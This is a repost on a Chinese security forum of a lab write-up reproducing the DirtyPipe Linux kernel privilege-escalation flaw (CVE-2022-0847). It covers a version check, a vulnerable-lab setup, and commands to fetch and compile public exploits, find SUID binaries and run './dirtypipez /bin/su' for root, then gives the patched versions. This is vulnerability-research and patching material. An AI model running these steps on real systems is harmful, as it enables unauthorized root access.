安全矩阵

 找回密码
 立即注册
搜索
查看: 2659|回复: 0

漏洞复现 | DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现

[复制链接]

141

主题

153

帖子

517

积分

高级会员

Rank: 4

积分
517
发表于 2022-3-9 17:04:38 | 显示全部楼层 |阅读模式
漏洞复现 | DirtyPipe CVE-2022-0847 Linux 内核提权漏洞复现原创 Teamssix [url=]TeamsSix[/url] 2022-03-08 12:23
收录于话题#漏洞复现1个


TeamsSix
我的个人博客:teamssix.com
218篇原创内容
公众号
0x00 前言CVSS 评分:7.8
影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102
RT 通过 CVE-2022-0847 可覆盖重写任意可读文件中的数据,可将普通权限的用户提升到特权 root
这个漏洞作者将其命名为了 Dirty Pipe,一看到这名字讲道理就让人想到了 Dirty Cow,这是因为该漏洞的原理比较类似于 Dirty Cow,但这个漏洞更容易被利用。
0x01 漏洞检测检测的方法很简单,直接 uname -r ,如果  5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102 说明可能受到该漏洞的影响。

0x02 环境搭建
建议在搭建环境前,先打好快照
环境依赖:

           
  •         Ubuntu 16.04 或 18.04(推荐)

           
  •         Python >= 3.6 (不支持Python 2.x!)

           
  •         pip3

git clone https://github.com/brant-ruan/metarget.gitcd metarget/pip3 install -r requirements.txtsudo ./metarget cnv install cve-2022-0847

环境搭建好后,查看当前系统内核
uname -r


可以看到系统内核已经是 5.8 的了,说明是可能受到该漏洞的影响了。
0x03 漏洞复现方法一:CVE-2022-0847-DirtyPipe-Exploit把 POC git 下来​​​​​​​
git clone https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploitcd CVE-2022-0847-DirtyPipe-Exploit
开始提权​​​​​​​
gcc exploit.c -o exploit./exploit


我这里提示 su: must be run from a terminal,没提权成功。
根据作者的解释,他的电脑快没电了,所以暂时还没时间解决这个问题,这 ……

方法二:dirtypipez.c后来看 p 牛说到了网上的其他 POC,下面这个 POC 测试了一下,是可以提权的​​​​​​​
mkdir dirtypipezcd dirtypipezwget https://haxx.in/files/dirtypipez.cgcc dirtypipez.c -o dirtypipez


这个 POC 需要事先找到一个具有 SUID 权限的可执行文件,然后利用这个文件进行提权
使用以下命令可以找到这类文件
find / -perm -u=s -type f 2>/dev/null


这里就以 /bin/su 为例了,直接 ./dirtypipez 跟上具有 SUID 权限的文件即可提权

           

./dirtypipez /bin/su

0x04 漏洞修复更新升级 Linux 内核到以下安全版本:

           
  •         Linux 内核 >= 5.16.11

           
  •         Linux 内核 >= 5.15.25

           
  •         Linux 内核 >= 5.10.102


往期推荐
云安全 | 容器基础设施所面临的风险学习
云安全 | 云原生安全是什么?
一键创建隐藏账号
原文链接:
https://teamssix.com/220308-120008.html
参考文章:
https://t.zsxq.com/imaqj2V
https://mp.weixin.qq.com/s/b8DmtIerXuoC7f3nqaOVIw
https://access.redhat.com/security/cve/cve-2022-0847

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-24 11:27 , Processed in 0.014411 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表